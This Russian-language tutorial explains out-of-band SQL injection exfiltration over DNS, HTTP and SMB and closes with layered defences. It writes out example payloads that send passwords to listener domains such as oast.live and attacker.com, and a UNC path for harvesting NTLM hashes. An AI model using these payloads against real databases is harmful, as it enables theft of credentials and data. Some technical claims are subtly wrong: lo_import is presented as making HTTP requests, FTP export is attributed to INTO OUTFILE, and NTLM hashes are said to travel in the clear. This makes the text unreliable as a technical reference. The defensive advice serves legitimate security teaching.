Альтернативные каналы эксфильтрации: Прощай, HTTP-ответ!

Эксфильтрация данных (Exfiltration) — это, по сути, процесс выноса «краденого». Мы привыкли, что результат атаки виден сразу в браузере, но что делать хакеру, если прямой ответ сервера закрыт или нестабилен? В таких случаях на помощь приходит техника Out-of-band (OOB) и методология OAST (Out-of-band Application Security Testing).

OAST стал стандартным подходом в современном bug bounty с появлением сервиса Burp Collaborator в 2015 году. До этого OOB-атаки были экзотикой, потому что требовали собственного DNS-сервера атакующего. Burp Collaborator и его open-source аналог interactsh от ProjectDiscovery сделали инфраструктуру доступной: достаточно одной команды interactsh-client, и у вас есть эфемерный домен и UI для просмотра входящих DNS/HTTP-запросов в реальном времени.

Аналогия: представь шпиона в строго охраняемом здании, у которого нет возможности вынести украденные документы через парадную дверь — там охрана и металлоискатели. Но в здании есть исходящая почта, и шпион может написать сообщение на конверте, отправляющемся «легитимному» получателю. На внешнем конце шпионская сеть перехватывает конверт и читает сообщение. Атакующий не выносит документы напрямую, но использует существующую инфраструктуру (почту) как канал передачи. То же самое с OOB: атакующий не получает данные через HTTP-ответ сервера, а заставляет СУБД самостоятельно «отправить письмо» (DNS-запрос, HTTP-запрос) на сервер вне зоны контроля защитников.

Разберем, как хакеры заставляют систему передавать данные через сторонние каналы, такие как DNS или HTTP-запросы от самой базы данных.

---

1. Механика: "Внешний канал связи"

В классических сценариях хакер получает данные либо напрямую (UNION), либо анализируя поведение страницы (Blind).

Но что если:

1. Сервер всегда возвращает одну и ту же ошибку (например, 500)?
2. Прямой вывод данных в HTML полностью отсутствует?
3. Сетевые задержки слишком нестабильны для Time-based атаки?

В этой ситуации злоумышленник заставляет СУБД самостоятельно инициировать запрос к внешнему ресурсу, подконтрольному хакеру.

Эта ситуация типична для современных микросервисных архитектур, где API часто возвращает только статус-код без тела (204 No Content для successful POST), или для асинхронных API, где результат уходит в очередь, а не в HTTP-ответ. Также OOB эффективен для эксплуатации второпорядковых SQLi: атакующий записывает payload в базу через одно поле (которое не выдаёт ошибку), а триггерится payload через другой endpoint, который читает это поле и подставляет в SQL без параметризации. Прямой обратной связи нет, но OOB-канал работает.

---

2. Понятие OAST (Out-of-Band)

OAST — это метод атаки, при котором информация передается по каналу, отличному от того, через который была проведена сама инъекция. Хакер отправляет вредоносный SQL-запрос, а результат получает на совсем другом сервере.

Основные векторы (Протоколы):

• DNS: База данных пытается разрешить доменное имя, которое содержит в себе украденные данные.
• HTTP: База данных выполняет прямой GET или POST запрос на сервер атакующего.
• ICMP: В редких случаях данные могут передаваться даже через эхо-запросы (Ping).
• SMB (Windows): на серверах Windows MS SQL может пытаться открыть UNC-путь \\attacker.com\share, что вызывает SMB-handshake с передачей NTLM-хэша пароля сервисной учётки в открытом виде. Этот вектор использовался во многих APT-атаках для horizontal lateral movement.
• FTP: некоторые СУБД поддерживают функции для FTP-выгрузки результатов запросов (SELECT ... INTO OUTFILE ... с FTP-URL).

---

3. Модели эксфильтрации в сравнении

Модель	Способ получения данных	Стабильность	Заметность для WAF
In-Band	Прямо в HTTP-ответе приложения	🟢 Высокая	🔴 Высокая
Blind	Через логику "Да/Нет" или время	🟡 Средняя	🟡 Средняя
Out-of-Band	Через сторонний сервер	🟢 Очень высокая	🟢 Низкая

---

4. Как хакеры "слушают" результат

Для приема данных злоумышленники используют специализированные серверы-слушатели (например, interactsh или аналоги Burp Collaborator). Как только в логах такого сервера появляется запрос вида admin_pass_qwerty.attacker.com, это означает, что секретные данные из вашей базы успешно покинули защищенный периметр.

Технический workflow на стороне атакующего: запустить interactsh-client, получить уникальный домен вида abc123.oast.live, скормить его в payload как lo_import('http://abc123.oast.live/?data=' || password), выполнить инъекцию, открыть UI interactsh — там в реальном времени появляются входящие запросы с украденными данными в query-параметрах. Этот процесс занимает 2-3 минуты для простой эксфильтрации и около часа для построения автоматического скрипта, выкачивающего всю таблицу users по строкам.

---

OOB — это «тяжелая артиллерия» в мире SQL-инъекций. Даже если ваше Go-приложение настроено идеально и не выдает лишней информации, сама база данных может стать «сетевым шпионом».

Defence in depth для OOB: первая линия — параметризованные запросы (Prepared Statements) на уровне Go-кода; вторая — отключение опасных функций СУБД через конфиг (отзыв роли pg_read_server_files, local_infile=0); третья — egress NetworkPolicy на уровне Kubernetes, запрещающая трафик из DB-pod в интернет; четвёртая — мониторинг egress DNS-трафика с алертом на аномалии. OOB не пробивается одним слоем — нужно пробить минимум три, что делает атаку экономически невыгодной для большинства злоумышленников.

Соответствие стандартам: NIST SP 800-53 SC-7 «Boundary Protection» требует контроля egress трафика; PCI-DSS 1.3 «Implement a DMZ» с правилами по умолчанию deny; CIS Benchmark for PostgreSQL рекомендует отключать pg_read_server_files для production баз.

Далее мы подробно разберем, какие именно SQL-функции позволяют превратить СУБД в инструмент для отправки DNS и HTTP запросов.